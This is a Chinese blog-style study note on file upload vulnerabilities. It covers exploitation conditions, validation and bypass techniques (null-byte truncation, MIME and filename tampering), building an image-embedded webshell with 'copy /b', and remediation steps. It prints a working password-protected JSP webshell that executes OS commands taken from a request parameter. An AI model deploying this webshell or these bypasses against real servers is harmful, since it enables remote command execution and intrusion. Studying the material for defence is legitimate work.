文件上传漏洞

验证/绕过

利用思路

文件上传利用条件

1.能上传

2.能解析

3.知道上传的路径且可以访问

文件上传常见验证:

后缀名,类型,文件头等
后缀名:黑名单,白名单
文件类型:MIME信息
文件头:内容头信息

%00只能在php5.3以下才会生效

图片马🐎

使用cmd copy命令将php代码插入图片_php怎么引入图片-CSDN博客
/a 表示一个 ASCII 文本文件
/b 表示一个二进位文件

复制代码
copy 1.jpg/b + 2.txt/a 3.jpg

尽量使用copy进行制作,手动修改可能破坏图片

二次渲染

【文件上传绕过】--二次渲染-CSDN博客

一句话jsp恶意代码

复制代码
<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

参数:pwd=023&i=id(ls或者其他也可)

上传参数名解析:明确哪些东西能修改

Content-Disposition:一般可更改

name:表单参数值,不能更改

filename:文件名,可以更改

Content-Type:文件MIME,视情况更改

常见绕过方法

数据溢出-防匹配(xxx...)

符号变异-防匹配(' '' ;)

数据截断-防匹配(%00 ; 换行)

重复匹配-防匹配(参数多次)

文件上传安全修复方案

后端验证:采用服务端验证模式

后缀检测:基于黑名单,白名单过滤

MIME检测:基于上传自带类型检测

内容检测:文件头,完整性检测

自带函数过滤:参考uploadlabs函数

自定义函数过滤:function check_file(){}

waf防护产品:宝塔,云顿,安全公司产品等

相关推荐
唐僧洗头爱飘柔952714 小时前
【软考:程序员(03)】如何考得程序员证书?本片知识点:文件目录、目录结构、文件路径、文件命名规则、系统安全、用户权限、作业调度、用户界面
安全·系统安全·文件管理·用户界面·用户权限·作业调度算法·文件命名规则
yesyesyoucan15 小时前
安全工具集:一站式密码生成、文件加密与二维码生成解决方案
服务器·mysql·安全
JZZC221 小时前
2.端口隔离——ALL
计算机网络·ensp·all·端口隔离·以太网安全
昔时扬尘处21 小时前
【C2000系列DSP的不掉电升级】C2000 不掉电升级(LFU)方案详解(含流程、代码与官方方案适配)
网络·dsp·c2000·德州仪器·实时控制mcu·lfu不掉电升级·后台升级
ZHHHHHJ661 天前
LL层-PAST
运维·服务器·网络
百***07451 天前
GPT-5.2 极速接入指南:流程详解与主流模型对比
网络·人工智能·gpt
cike_y1 天前
JSP内置对象及作用域&双亲委派机制
java·前端·网络安全·jsp·安全开发
REDcker1 天前
TCP/IP 协议栈详解:协议栈是什么意思?为什么叫“协议栈”?
网络·网络协议·tcp/ip
凯子坚持 c1 天前
Docker网络架构深度解析:从原理到实战
网络·docker·架构
cdprinter1 天前
信刻光盘数据自动回读系统,多重保障数据安全及调阅便捷性!
网络·安全·自动化